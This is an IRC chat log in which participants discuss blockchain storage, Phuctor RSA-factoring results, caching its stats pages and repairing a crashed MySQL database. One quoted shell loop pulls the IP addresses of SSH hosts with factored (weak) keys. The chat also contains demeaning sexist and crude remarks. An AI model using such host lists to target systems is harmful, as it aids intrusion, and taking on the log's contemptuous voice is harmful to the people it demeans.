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00:01 shinohai trb blocks, now individually wrapped for your convenience.
00:01 asciilifeform that's 11 double-sided dvd.
00:02 mircea_popescu hefty
00:02 asciilifeform not so hefty.
00:02 mircea_popescu let's argue about it!
00:02 asciilifeform lel
00:03 asciilifeform about 1 $ worth of pressed disk, is the point.
00:03 shinohai or 8200 5.25 floppies
00:03 shinohai *3.5
00:04 asciilifeform 59710578 .
00:04 asciilifeform you misplaced some zeroes somewhere, shinohai .
00:05 asciilifeform or nm, 58311.
00:06 asciilifeform at any rate, it'd cost same to press these as to press typical bloatmonster game
00:06 asciilifeform or winblowz 'msdn' collection.
00:06 mircea_popescu i've not yet had an 11 dvd game.
00:07 asciilifeform mircea_popescu: one of the flying sims i leeched on warez , for winblows box, was 40G or so
00:07 mircea_popescu prolly lotta maps.
00:07 asciilifeform so the day of 11 disk game, has probably come some time ago
00:07 asciilifeform maps, textures, aha
00:12 asciilifeform also betcha that when compressed ~properly~ (i.e. as asciilifeform described 2wks ago) it'll be not even 40G.
00:12 asciilifeform (replace sha256 hashes with indices on disk, for instance; record 'sequence number' in tx only if differs from default; ditto locktime)
00:13 asciilifeform possibly will fit on 1 dvd, then.
00:13 asciilifeform while remaining properly unzippable to classical form.
00:14 asciilifeform (i.e. it is legitimately isomorphic to the traditional form, there is nothing 'lossy' about this 'compressor')
00:16 asciilifeform gzip gives us ~20% shrink btw.
00:16 asciilifeform and that is ~per block~, rather than collectively
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05:29 Framedragger http://trilema.com/2017/the-incidental-humiliation-of-obamas-clean-energy-policies-marc-andreessens-internet-of-farts-and-other-such-comedic-gold-bricks/ << amazing morning megalol
05:29 Framedragger http://btcbase.org/log/2017-04-06#1638486 << lol #2
05:29 a111 Logged on 2017-04-06 00:23 asciilifeform: admin / admin
05:30 Framedragger that didn't work till i read that the password is now phuctor. omg lmao
05:34 Framedragger > Today 14.6 kWh Past Week 63.0 kWh
05:34 Framedragger very energy
~ 31 minutes ~
06:05 * Framedragger just took part in a ridoinculous interview for 'IT person'. interviewee was a nice but 100% stressed gurl who is due to graduate with an MEng next year, and was barely able to tell the difference between static and dynamic typing. somethingsomething java. morning almost spoilt. "MEng"
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06:06 Framedragger (in compsci no less)
~ 19 minutes ~
06:25 Framedragger sent query to n-gate (in the sense of reducing meaning to a tweet and pretending that's communication)
06:38 Framedragger !!up DaSancho
06:38 deedbot DaSancho voiced for 30 minutes.
06:40 Framedragger DaSancho: what brings ye here?
~ 44 minutes ~
07:25 Framedragger http://btcbase.org/log/2017-03-29#1634033 << that's all i have: http://imgur.com/a/SPFBI (stuff that was stickied on the parcel). i had unfortunately thrown out the 'postcard' from royal mail, but it was a single slip which literally only said "we can't post you this because this got held up. go online and put in a reference number". the latter opened a "PAY NOW" form, and that's it.
07:25 a111 Logged on 2017-03-29 16:25 mircea_popescu: if you find it within yoruself to post forms you were issued that'd be grand.
07:26 Framedragger (again, i may have gotten more info by physically presenting myself at a particular delivery office, showing ID and so on, but i wasn't up for that.)
07:28 Framedragger (i do believe this is a simple instance of VAT being charged for overseas 'valuable imports', but then this never happened before when shipping via legal retailers etc.)
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07:42 Framedragger rehosted here: http://fd.mkj.lt/stuff/import-1.jpg && http://fd.mkj.lt/stuff/import-2.jpg
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07:50 deedbot http://phuctor.nosuchlabs.com/gpgkey/1B1B58577EC085775FD320B460F7C3DC6B08E6FFB2EBE04B7A162C5F609F0E9D << Recent Phuctorings. - Phuctored: 1107...9569 divides RSA Moduli belonging to '177.234.1.3 (ssh-rsa key from 177.234.1.3 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) <ssh...lt>; ' (Unknown MX CHH)
07:50 deedbot http://phuctor.nosuchlabs.com/gpgkey/D33126663C8161A8EF4DCCEAA5321D0CBF95441A3D35C0BAC2BAF6D2F4397C40 << Recent Phuctorings. - Phuctored: 1107...9569 divides RSA Moduli belonging to '177.234.11.75 (ssh-rsa key from 177.234.11.75 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) <ssh...lt>; ' (Unknown MX CHH)
07:50 deedbot http://phuctor.nosuchlabs.com/gpgkey/71AF9594F2393F6AB85B14C1C615C449E8833966B1FA30A198C98FC36750B4C5 << Recent Phuctorings. - Phuctored: 1107...9569 divides RSA Moduli belonging to '177.234.1.161 (ssh-rsa key from 177.234.1.161 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) <ssh...lt>; ' (Unknown MX CHH)
07:50 deedbot http://phuctor.nosuchlabs.com/gpgkey/1B1B58577EC085775FD320B460F7C3DC6B08E6FFB2EBE04B7A162C5F609F0E9D << Recent Phuctorings. - Phuctored: 1120...4129 divides RSA Moduli belonging to '177.234.1.3 (ssh-rsa key from 177.234.1.3 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) <ssh...lt>; ' (Unknown MX CHH)
08:00 mircea_popescu dat day when ben_vulpes 's pastatron allocates you UriNe as an identifier...
08:11 mircea_popescu holy shit they got some kefir in this country that'll melt your heart.
08:14 mircea_popescu http://btcbase.org/log/2017-04-06#1638757 << awww.
08:14 a111 Logged on 2017-04-06 10:05 Framedragger just took part in a ridoinculous interview for 'IT person'. interviewee was a nice but 100% stressed gurl who is due to graduate with an MEng next year, and was barely able to tell the difference between static and dynamic typing. somethingsomething java. morning almost spoilt. "MEng"
08:14 mircea_popescu now tell me she wouldn't be happier as a declared slave for a republican lord ; rather than a doublespoken slave for nobody-in-particular in the stupid empire.
08:14 mircea_popescu i teach some basic mechanical engineering to ~all~ my girls. just because i can.
08:15 Framedragger she had a particular unpleasant unhappy look so yeah i think i agree lol
08:16 Framedragger "this is not my kind of place" "what am i doing with my life" "also i can't answer these questions"
08:17 mircea_popescu whoa, so they want VAT, AND a "royal mail intl handling fee" that's 10 bux.
08:17 mircea_popescu incredible. this is even legal ?
08:18 Framedragger admin fee for collecting the customs fee and mediating between customer and her majesty's revenue and customs. very legit
08:18 mircea_popescu "queries should be sent to the address above, where you will helpfully be informed they can not say anything else besides reading this notice to you."
08:19 Framedragger i dunno. re. VAT from overseas, yeah it's 'teh law', but yknow.
08:19 Framedragger that is exactly what it means mircea_popescu lol
08:19 mircea_popescu a sad little country.
08:20 mircea_popescu does that stamp say "redeliver on MUM" ?
08:20 Framedragger at least the currency will inflate now so that they can export ugly girls cheaper
08:20 mircea_popescu i don't think i ever saw anyone pay for a brit.
08:21 mircea_popescu even at a time people couldn't be arsed to ~physically inspect~ russkis anymore, just paid for the cargo whole.
08:21 Framedragger mircea_popescu: ahahahaha it does say "MUM" (should be "Mon" of course)
08:21 mircea_popescu Framedragger maybe they're serious, and intend to redeliver on your mum!!11
08:21 Framedragger :o
08:21 mircea_popescu aaaanyway
08:23 mircea_popescu http://btcbase.org/log/2017-04-06#1638766 <<< i expect the legal retailers have the common decency to ship from jurisdictions where there's some kind of vat countermeasure in place.
08:23 a111 Logged on 2017-04-06 11:28 Framedragger: (i do believe this is a simple instance of VAT being charged for overseas 'valuable imports', but then this never happened before when shipping via legal retailers etc.)
08:29 mircea_popescu let's drive alfie up the wall a little
08:29 mircea_popescu asciilifeform https://www.google.com/search?q=phuctor&channel=fs&tbas=0&tbs=qdr:m&* << notice anything missing ?
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08:32 Framedragger heh. well http://nosuchlabs.com/robots.txt does have "Disallow: /gpgkey/" but phuctor.nosuchlabs.com itself should still be indexed i think?
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08:33 mircea_popescu except google can't index it because the /stats/ dies on it i guess.
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08:34 Framedragger ah, hrm.
08:34 mircea_popescu and the root is not NOVEL.
08:34 mircea_popescu it's indexed alright but not in the past month
08:35 mircea_popescu now if someone were to make static multipage stats...
08:38 Framedragger hrm. :) what's the cheapest way to do it.. automate a long-timeout-and-also-retry downloader for /stats and then just re-host the cached downloaded copy? any use in that?
08:43 mircea_popescu lel. the cheapest is for the site to support it natively!
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08:43 Framedragger notes! support!
08:44 mircea_popescu just got a 504 timeout on long term browser lel
08:45 mircea_popescu thing is, it doesnt' crash, it always comes up but you gotta know to retry.
08:47 Framedragger yeah.
~ 30 minutes ~
09:17 asciilifeform http://btcbase.org/log/2017-04-06#1638798 << aha
09:17 a111 Logged on 2017-04-06 12:29 mircea_popescu: asciilifeform https://www.google.com/search?q=phuctor&channel=fs&tbas=0&tbs=qdr:m&* << notice anything missing ?
09:17 asciilifeform http://btcbase.org/log/2017-04-06#1638799 << i put this in ~year ago, noticed that ~nobody respects 'robots.txt', and promptly forgot about it...
09:17 a111 Logged on 2017-04-06 12:32 Framedragger: heh. well http://nosuchlabs.com/robots.txt does have "Disallow: /gpgkey/" but phuctor.nosuchlabs.com itself should still be indexed i think?
09:18 asciilifeform http://btcbase.org/log/2017-04-06#1638800 << entirely possible
09:18 a111 Logged on 2017-04-06 12:33 mircea_popescu: except google can't index it because the /stats/ dies on it i guess.
09:18 mircea_popescu prolly should take it out.
09:19 asciilifeform yeah
09:19 asciilifeform http://btcbase.org/log/2017-04-06#1638806 << whole thing needs rewrite; we had the thread.
09:19 a111 Logged on 2017-04-06 12:43 mircea_popescu: lel. the cheapest is for the site to support it natively!
09:20 asciilifeform ( it is not, however, obvious to asciilifeform ~how~ . so not yet rewrote. )
09:20 mircea_popescu ima publish a snapshot on trilema, for nao.
09:20 mircea_popescu ease some of teh pressure i'm guessing ?
09:20 asciilifeform sure why not
09:20 asciilifeform there's one on my www also
09:20 asciilifeform (from a few mo ago)
09:22 asciilifeform http://btcbase.org/log/2017-04-06#1638757 << why does mechanical engineer get fed java ?
09:22 a111 Logged on 2017-04-06 10:05 Framedragger just took part in a ridoinculous interview for 'IT person'. interviewee was a nice but 100% stressed gurl who is due to graduate with an MEng next year, and was barely able to tell the difference between static and dynamic typing. somethingsomething java. morning almost spoilt. "MEng"
09:22 mircea_popescu anyone got an idea as to how i turn
09:22 mircea_popescu <tr><td>60.213.15.140 (ssh-rsa key from 60.213.15.140 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) &lt;sshscan-queries+60.213.15.140@mkj.lt&gt;; </td></tr>
09:22 Framedragger 'MEng' is just diploma title, you get master of engineering for software engineering, too (because reasons)
09:23 mircea_popescu into a more reasonable (ssh-rsa key from 60.213.15.140 13-14 June 2016 extraction) ?
09:23 asciilifeform mircea_popescu: yes, 1s
09:23 mircea_popescu shave like a megabyte off this turd
09:23 Framedragger yes in retrospect i did not expect for there to be so many pops lol.
09:23 Framedragger result is large turd
09:24 Framedragger asciilifeform: MEng here means 'master of engineering' (which can include software engineering, yesyes), not mech
09:24 asciilifeform http://btcbase.org/log/2016-12-08#1579779 << mircea_popescu
09:24 a111 Logged on 2016-12-08 15:43 asciilifeform: e.g., for ip in `curl -s http://phuctor.nosuchlabs.com/phuctored | grep "ssh-rsa key from" | cut -d' ' -f23 | sort | uniq`; do ...something with $ip..... done
09:25 mircea_popescu asciilifeform i want the whole tabke is the issue.
09:25 asciilifeform what means 'whole table'
09:25 asciilifeform modulus ?
09:25 mircea_popescu i am taking the entire table as found on stats page and putting it on trilema.
09:25 mircea_popescu whole table. html tags and all.
09:26 mircea_popescu i just made the urls absolute
09:26 asciilifeform why not just include the html you get from the above curl ?
09:26 mircea_popescu because it'd exclude non ssh keys for instance.
09:26 asciilifeform http://www.loper-os.org/pub/snap/ph_snap.html << example
09:26 asciilifeform aaah
09:26 mircea_popescu whole table. see ?
09:26 asciilifeform want a csv ?
09:26 mircea_popescu nope. ideally i just want to... copy... teh table :D
09:27 mircea_popescu now, how do i tell awk to turn the blather quoted above into the intended result ? hm ? HM ?
09:28 Framedragger btw asciilifeform mircea_popescu i'm rehosting the main '/stats' page here, autoredownload every 5min (handles http timeout cases): http://siphnos.mkj.lt/phuctor-stats/
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09:28 asciilifeform neato Framedragger
09:28 asciilifeform does it mirror the sub-pages also ?
09:28 Framedragger i sed'ed the relative urls, as in "<a href="/">Submit GPG Key</a>", to point them to phuctor, etc
09:28 Framedragger not yet!
09:29 mircea_popescu /phuctored would be good.
09:29 Framedragger yah.
09:30 asciilifeform aseriousgogetta (~Kimberley@ip-64-134-144-245.public.wayport.net) has joined #trilema << hey mircea_popescu , can haz hammer ? every time that monkey's connection cycles, i feel like a chimp is throwing shit in my face
09:30 Framedragger mircea_popescu: if you're planning to rehost, maybe useful (very simplistic, i've just put this into cron for now): http://siphnos.mkj.lt/phuctor-stats/download-stats.sh
09:30 asciilifeform Framedragger: i think he wants ~only~ the ssh keys
09:31 Framedragger ah right right, ok
09:31 mircea_popescu what ?
09:31 mircea_popescu no i don't. i want... omfg 4th time.. THE WHOLE TABLE
09:32 asciilifeform ah so just lift the html you get from /phuctored . problem solved ?
09:32 asciilifeform what's missing ?
09:33 mircea_popescu consider the string : "hurr\n1-1-1-1\ndurr\n2-2-2-2\nfoo54-54-54-54". the job is to turn it into "hurr\n1\ndurr\n2\nfoo\n54"
09:33 mircea_popescu now then.
09:33 mircea_popescu asciilifeform it's not missing, it has an extra 1 megabyte of Framedragger 's hello world
09:33 asciilifeform aaaaaah
09:33 mircea_popescu (which is very good and useful as it is, not the problem there. but gotta fix it here)
09:34 Framedragger http://btcbase.org/log/2016-12-25#1590428
09:34 a111 Logged on 2016-12-25 16:02 phf: http://btcbase.org/log/2016-12-25#1590416 << http://www.youtube.com/watch?v=lIpev8JXJHQ&t=0m53s
~ 1 hours 13 minutes ~
10:47 asciilifeform meanwhile, in monkeystan, https://archive.is/z8x2c >> 'You don't handle sarin-saturated bodies *without gloves* - unless you're a Syrian rebel trying to pull off yet another hoax.'
10:48 asciilifeform all the while, mr.t read official speech 'i changed my mind...' etc, is poised to fight the clitler wars.
10:49 mircea_popescu changed what mind ?
10:50 asciilifeform e.g. https://archive.is/V5zbs
10:51 asciilifeform 'These heinous actions by the Assad regime cannot be tolerated' etc.
10:51 mircea_popescu heh.
10:51 mircea_popescu well, old man lasted almost half a year.
10:53 asciilifeform mircea_popescu finally cured of 'maga' ?
10:53 mircea_popescu ahem ?
10:54 asciilifeform well of 'apparatchiks won't pay their mortgages', 'berkeley starves', etc
10:55 mircea_popescu ah, no.
10:55 mircea_popescu that's not something i, or anyone else, can be "cured" of.
10:55 Framedragger http://btcbase.org/log/2017-04-06#1638854 << k found time to improve this, /phuctored is now being hosted/cached as well (and link to /phuctored on the index stats page links to the cached version)
10:55 a111 Logged on 2017-04-06 13:28 Framedragger: btw asciilifeform mircea_popescu i'm rehosting the main '/stats' page here, autoredownload every 5min (handles http timeout cases): http://siphnos.mkj.lt/phuctor-stats/
10:56 Framedragger will keep an eye on this in case the hasty cron job screws up at some point.
10:57 Framedragger i guess it could host /sadmods and /dupes as well - attempt redownload every few hours? (it will only update the linked cached html in case new download is in fact successful)
10:58 Framedragger !#s tmsr wiki
10:58 a111 7 results for "tmsr wiki", http://btcbase.org/log-search?q=tmsr%20wiki
10:58 mircea_popescu aaaand in other lulz...trilema can't actually hold a 3mb data dumb.
10:59 Framedragger mircea_popescu: you're putting it in mysql aren't you, and making php generate a table or sth?
10:59 mircea_popescu yep.
10:59 Framedragger maybe just some shitty limit in webserver/php/wherever, modifiable
10:59 shinohai Heh, shocking move: http://archive.is/ZMfJe
11:00 shinohai I too can pun arstechnica
11:02 Framedragger so on account of that n-gate guy being reachable via twitter only, and me not wanting to miss any replies, i've actually had to visit twitter lately. my homepage now is http://imgur.com/a/aTcpY and fuck this shit
11:05 phf "i'm what's known as `twitter funny`. -- what does that mean? -- not funny"
11:05 mircea_popescu Framedragger mught as well tell him where to show up an' thassat.
11:06 Framedragger i did! i managed to compliment him, direct him to #trilema, and (hopefully) not appear as an idiot in one tweet
11:06 * mircea_popescu is undeterred, created sql file, is importing it, which apparently takes A WHILE
11:06 * mircea_popescu is steeling self for discovering mysql dosn't allow over x bytes in any one column or such closely managed nonsense
11:08 Framedragger what's the column data type mircea_popescu
11:10 mircea_popescu lel apparently i crashed the db.
11:10 mircea_popescu nice.
11:10 Framedragger apparently mysql recommends storing large data/text blobs in separate table
11:10 trinque ahaha
11:10 mircea_popescu oy vey.
11:10 trinque and good morning!
11:10 Framedragger another pleasant morning of kicking DBs
11:11 mircea_popescu # service mysql status
11:11 mircea_popescu SUCCESS! MySQL running (2421)
11:11 mircea_popescu hurr
11:12 mircea_popescu o check it out, amanged to trash the articvles table!
11:13 shinohai This is why shinohai decided that if were to update wp-mo, it would use plain txt files and completely burn mysql to the ground.
11:13 shinohai *wp-mp
11:15 mircea_popescu well apparently trilema's going to be offline for a while for reasons of unexpected explosion.
11:16 shinohai Thanks Obama
11:16 mircea_popescu in other lulz : mysql use db; results in... the process simply hanging. > 1 minue by now.
11:16 mircea_popescu because why ? because OH MY FUCKING GOD SOMEONE RAN A 2MB SQL an hour ago!!1
11:19 Framedragger hmh it should at least fail, or sth. is it still running mircea_popescu? can you do `show processlist` with separate mysql client session? (NB, am not a mysql guy)
11:19 mircea_popescu it is still running.
11:19 Framedragger there's a KILL QUERY
11:20 Framedragger but mebbe you want to keep it running
11:20 mircea_popescu there's a "repair by sorting" going and five billion agents waiting for metadata lock
11:20 mircea_popescu which holy shit.
11:20 Framedragger i wonder if it's due to data type misuse, or just mysqlol
11:21 mircea_popescu why is there a metadata lock and how do i turn it off
11:21 Framedragger oh god
11:21 trinque mysql's kinda notorious for this shit
11:23 mircea_popescu ERROR 1040 (HY000): Too many connections
11:23 mircea_popescu apparently mysql will refuse CONNECTIONS FROM ROOT
11:23 mircea_popescu on the basis of too many dorks hammering it on the www!
11:25 asciilifeform woah
11:25 asciilifeform welcome to sql hell mircea_popescu
11:26 * asciilifeform has lived there for a while, knows where the good beaches and restaurants are.
11:26 mircea_popescu o yeah ? how do you turn "metadatalock" off lelz.
11:26 trinque the meat's all dancing cat
11:26 mircea_popescu turns out this whole "read while dirty" thing is "implemented" except notrly.
11:27 asciilifeform mircea_popescu: you don't , http://btcbase.org/log/2016-12-30#1593662
11:27 a111 Logged on 2016-12-30 17:16 mircea_popescu: it really should be up to operator wtf, if i want to read dirty let me read dirty what sort of decision is this for designer to make.
11:27 mircea_popescu ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2)
11:27 mircea_popescu # service mysql status
11:27 mircea_popescu ERROR! MySQL is not running, but lock file (/var/lock/subsys/mysql) exists
11:27 asciilifeform i suffered with this on postgres, and continue to.
11:27 mircea_popescu so i take it it croaked.
11:28 asciilifeform and looks like you gotta rm the lock file.
11:31 Framedragger do you still have a running mysql cli session mircea_popescu?
11:32 Framedragger i guess it's dead-dead, tho
11:32 mircea_popescu yes.
11:32 mircea_popescu no it's fine, trying to figure out how to rescue the table.
11:32 Framedragger there are ways to list/remove locks but i reeeeally dunno if it's a good idea
11:33 Framedragger ftr, useful SO answer (yes, SO): http://stackoverflow.com/a/13155778
11:33 mircea_popescu table isn't innodb.
11:38 Framedragger just curious, what is it then, myisam?
11:39 mircea_popescu yes
11:41 mircea_popescu insanely, i am still getting a lot of www requests, so i guess i incidentally found some other issue here as well.
11:42 asciilifeform lol, hey, nobody told the crawlers that the box is down
11:42 mircea_popescu but the box doesn't deliver, theoretically, anything but a text line now
11:43 Framedragger mircea_popescu: well you can still kill the particular mysql process which is handling the query, `show processlist` (may show "Waiting for table metadata lock" under "State" column; "Info" column should display the query in question), then `Kill IDGOESHERE`
11:44 mircea_popescu why'd i want to kill 150 processes by hand. let them timeout.
11:45 Framedragger (then `FLUSH TABLES` should remove any outstanding locks if still any; but don't take my word for it)
11:45 mircea_popescu so far the table is crashed, and the repair thing seems to take forever.
11:45 Framedragger 150? no just the one which is still trying to import large blob (if still running)
11:45 Framedragger ok ugh.
11:46 mircea_popescu Framedragger you trying to tell me that process'd have somehow survived a mysql restart ?
11:46 Framedragger mircea_popescu: sorry i forgot or didn't know that you actually in fact restarted it.
11:47 mircea_popescu but no, they';re all selects.
11:47 mircea_popescu weirdly enough, also not timing out. how the fuck long can a thing waiot for a lock ?
11:47 Framedragger (aok. oh well then, light cigar while making DB destruction plans)
11:48 mircea_popescu i can't comprehend what'd possibly take this long to repair it.
11:49 lobbes Testing minigame.bz log quoting: http://logs.minigame.bz/2017-04-06.log.html#t00:05:55
11:49 lobbesbot Logged on 2017-04-06 00:05:55: <mircea_popescu> until trinque's deedbot payment is on i dunno what lightweight to recommend you
11:49 lobbes Odd it didn't quote earlier
11:49 Framedragger nice
11:50 lobbes Mp must've been faster than it inserted into database
11:51 mircea_popescu hm ?
11:51 Framedragger asciilifeform: phuctor.nosuchlabs.com timing out, do you think this could be related to the cron cacher? (GET /stats every 5min, GET /phuctored every 60min)
11:52 lobbes mircea_popescu: Nah nothing really. I noticed you pasted that link earlier but bot didn't quote. I think you were just too fast for it
11:52 asciilifeform Framedragger: it dun load no moar...
11:52 asciilifeform and i have no means for discovering why
11:52 lobbes Or rather, my process too slow heh
11:52 mircea_popescu lel.
11:53 asciilifeform Framedragger: i recommend to turn off the hammerer.
11:53 Framedragger okay :D
11:53 Framedragger done
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11:53 asciilifeform i will remind everyone that http://btcbase.org/log/2017-02-19#1615434 .
11:53 a111 Logged on 2017-02-19 03:54 asciilifeform: (iirc we had a thread where i described how corporate ameritards, if given a problem like phuctor, would happily soak up a few $mil and megawatt of iron)
11:53 asciilifeform thing runs on the very edge of the possible.
11:55 asciilifeform the 'database' is an evil concept.
11:55 mircea_popescu if only. 99% of db is crud and causing the problem.
11:55 mircea_popescu entirely not fucking iron-bound problem in trilema case for instance. wtf can "repair table" need >1200 s !
11:55 asciilifeform that's what 'db' is, a massive pile of shit that pretends to be 'one size fits all' data structure
11:55 Framedragger anyway http://siphnos.mkj.lt/phuctor-stats/ will continue to rehost phuctor stats (including http://siphnos.mkj.lt/phuctor-stats/phuctored.html), and will see about more lenient update times (5min is excessive anyway)
11:56 mircea_popescu and i am STILL, somehow, getting fucking agent loads.
11:56 mircea_popescu "every thing you do will resolve 99% of the problem at the most". always a little bit left. gah.
11:56 Framedragger maybe it's going thru full mysql tx log if you have one
11:56 mircea_popescu eh what tx. this is mysql.
11:57 Framedragger in mysql it's called 'binary log'. dunno if on by default tho
11:57 mircea_popescu load average: 0.01, 0.05, 0.21 <<< meanwhile i am... waiting... for it to... repair.
11:57 mircea_popescu how. the fuck. is this supposed to be sane
11:57 mircea_popescu 0 indication of what this is. will it take another 6 weeks ? "maybe". how do i tell ? what do i do ?
11:57 mircea_popescu fucking bs.
12:03 Framedragger i'm waiting for the day that freenode goes down while datacenters with logotrons are experiencing issues. everyone's gonna freak out, there will be a new more urgent push for gossipd, it's gonna be great!
12:05 asciilifeform Framedragger: for some reason i am reminded of a cartoon i saw when i was very small, incidentally iirc it was made in some baltic country, where an eagle decides that frog is his son and threatens constantly to 'teach him to fly' by throwing from a cliff
12:09 Framedragger heh :) pretty soviet
12:14 phf it's pretty tmsr too. "if it can't fly, it doesn't deserve to live anyway"
12:15 mircea_popescu meh. in which we find trilema's posts data is 40g somehow.
12:15 mircea_popescu how the fuck ?!
12:16 asciilifeform mircea_popescu: i seem to recall ~200MB last time you tallied it and posted here (6 mo ago ?)
12:16 mircea_popescu just about.
12:16 mircea_popescu 40439263232 Apr 6 11:12 tril_posts.MYD
12:17 asciilifeform that's several lifetimes worth of text, even if it consists of 1MB pastes...
12:17 asciilifeform something is off
12:18 mircea_popescu i have nfi.
12:18 mircea_popescu but mah disk is also full nao.
12:20 mircea_popescu last i saw MySQL Disk Space 596.29 MB, so evidently mysql "repair table" corrupted the table to shit.
12:23 mircea_popescu 39491524 /var/lib/mysql/trilema_blog/tril_posts.MYD << reported by du | 40439263232 Apr 6 11:12 tril_posts.MYD << reported by ls -l
12:23 mircea_popescu im guessing this disk is fucked ?
12:23 asciilifeform du -h
12:23 asciilifeform 39491524*512 == 20219660288 however
12:24 asciilifeform what's your sector size, mircea_popescu ?
12:24 mircea_popescu 38G
12:24 asciilifeform looks like 1024 :
12:24 mircea_popescu ah
12:24 asciilifeform 39491524*1024 == 40439320576
12:24 asciilifeform still not == 40439263232 tho, lol
12:24 mircea_popescu myeah.
12:25 asciilifeform (that du does not default to -h is one of the titanic retardations of the standard userland)
12:25 mircea_popescu well, ima reboot the machine.
12:25 asciilifeform (who the FUCK cares how many sectors!! something uses)
12:26 phf i usually pipe du through sort or awk >n. i kind of wish there was an "h" command instead that would take a column number an humanize that column
12:27 asciilifeform phf: ANYTHING defaulting to martian rather than human units, is unspeakable braindamage
12:27 asciilifeform just ditch the martian units.
12:27 asciilifeform if i want them, i can... divide the byte counts.
12:30 hanbot !~ticker
12:30 jhvh1 hanbot: Bitfinex BTCUSD ticker | Best bid: 1174.7, Best ask: 1174.8, Bid-ask spread: 0.10000, Last trade: 1174.7, 24 hour volume: 29477.80773128, 24 hour low: 1120.3, 24 hour high: 1179.3, 24 hour vwap: None
12:32 BingoBoingo <mircea_popescu> incredible. this is even legal ? << O hai I R the packet interceptor. Pls to pay again for delivery.
12:42 mircea_popescu sooo... i have 1.6 tb available du shows 38g.
12:42 mircea_popescu this is like the day of lulz.
12:42 asciilifeform what's the disjunction here ?
12:42 asciilifeform du shows occupied space, not free
12:48 Framedragger (mk /stats now updated every 30min, will see how that one goes. http://siphnos.mkj.lt/ updated to include link to the cached copy. will see if this gets indexed by google (main index page already is)) :)
12:59 asciilifeform in other lulz from upstack : Enphase Energy, Inc. (NASDAQ:ENPH) .
13:00 asciilifeform didjaknow.
13:00 mircea_popescu yeah.
13:00 mircea_popescu anyway, turns out the myslq files are stored on a tiny partition for some incomprehensible reason. fancy that wonder.
13:01 asciilifeform ( aug. 3, 2016 : 'Enphase entered into a $25 million loan agreement with a lender specializing in "rescue financing" that furnishes capital "to avoid a restructuring or insolvency.'"' )
13:02 mircea_popescu heh
13:03 asciilifeform ( their spamola : https://archive.is/UjMhq << for expert entomologists only )
13:03 shinohai "Enphase's storage technology is optimal for the masses." <<< Indeed!
13:03 Framedragger mebbe you had a separate /var partition from linux install long ago, mircea_popescu.. this can bite
13:04 mircea_popescu Framedragger for some reason root gets 50G and mysql for everything is stored in there.
13:04 mircea_popescu i still have nfi elephantiazis hit that poor file that it ended up 40g, but anyway, im moving the whole shebang on a tb partition and will see wtf myisamchk does.
13:05 mircea_popescu a superficial cat | strings | grep yielded a bunch of old stuff so it doesn't appear dataloss is guaranteed.
13:05 Framedragger well the default for DBs is to store things under /var. /var is under root unless specifically separate partition; or you tell db to store under /home/mircea/dbdata or sth.
13:06 mircea_popescu yes, i'm aware. now.
13:06 Framedragger not a boring day!
13:07 mircea_popescu my first time using any of these shits. prior to this morning i had nfi what /var/lib/mysql/ is or how you repair crashed mysql db or anything of the sort.
13:07 mircea_popescu this is also the first time a mysql db crashed in my personal experience.
13:08 asciilifeform i recall, we had a thread where mircea_popescu: 'it never once crashed'
13:08 mircea_popescu well now ++
13:08 scriba Restarting for new command
13:08 mircea_popescu in fairness it's entirely my fault, i got bored with sql import and interrupted it. didn't work so well seeing how it was a write op.
13:09 asciilifeform fwiw since phuctor went form sqlite to postgres, i have not yet managed to crash the latter
13:09 Framedragger !$ phuctor
13:09 scriba Phuctor - main site: http://phuctor.nosuchlabs.com/ ; stats: http://siphnos.mkj.lt/phuctor-stats/ (cached) / http://phuctor.nosuchlabs.com/ (main source) ; ssh scanner - data: http://siphnos.mkj.lt/datadrop/
13:09 asciilifeform (though to grind it to an ~unusable halt, for a long time -- is quite easy)
13:09 Framedragger ^ new (trivial) command. a bunch of URLs so may be useful
13:09 asciilifeform neato Framedragger
13:10 Framedragger pete_dushenski: plox to update bot commands at some point, ty! :)
13:10 asciilifeform *went from
13:10 Framedragger asciilifeform: i also wonder if phuctor site my come under additional stress now that you removed those 'Disallow' entries from robots.txt :/
13:11 mircea_popescu guaranteed.
13:11 asciilifeform Framedragger: theoretically
13:11 mircea_popescu google will definitely slurp 5mn pages in the next week-ish
13:11 asciilifeform mircea_popescu: the odd thing is, it did anyway -- until somewhat recently
13:11 mircea_popescu you (all of you, really) are very well linked since all the trilema mentions and etc. we've built like a coven
13:12 Framedragger in which case, may not want to do that till caching is in place, or sth. main thing is to have stats be accessible which is now cached anyway
13:12 mircea_popescu asciilifeform possibly those were just fake user agents ?
13:12 asciilifeform mircea_popescu: and they also stole the ip range of google corp ?
13:12 mircea_popescu a that no
13:12 mircea_popescu but i get tons of idiots trying to you know, spam trilema claiming to be googlebot.
13:13 asciilifeform these don't spam, no. they just crawl.
13:13 asciilifeform the folx throwing random rubbish into the submit box, are actually quite uncommon.
13:13 asciilifeform i suppose they can tell that there isn't actually a wordpress installed.
13:13 asciilifeform ( once in a while some exceptionally poorly written spamatron shows up, which ~can't~ tell, on first try)
13:16 mircea_popescu aaanyway, seems it's cooking with gas now. we'll see.
13:27 scriba Restarting for URL fix
13:36 jhvh1 I, jhvh1, am a wrathful bot
13:42 mircea_popescu lmao
13:43 trinque aw fuck that's what I get for typing a privmsg by hand
13:44 asciilifeform 'February 16, 2017 ... Enphase Energy, Inc. (ENPH), a global energy technology company, today announced that it has refinanced and extended its term loan facility with certain funds managed by Tennenbaum Capital Partners ("TCP") from $25 million to $50 million.'
13:45 asciilifeform the miracle of printolade.
13:46 asciilifeform hey shinohai et al : they have a twatter! https://twitter.com/enphase
13:47 * shinohai will tweet them the trilema article along with tranny porn when trilema is back online ....
13:47 BingoBoingo shinohai: Be classy, amputee midgets
13:47 shinohai !~google amputee midgets
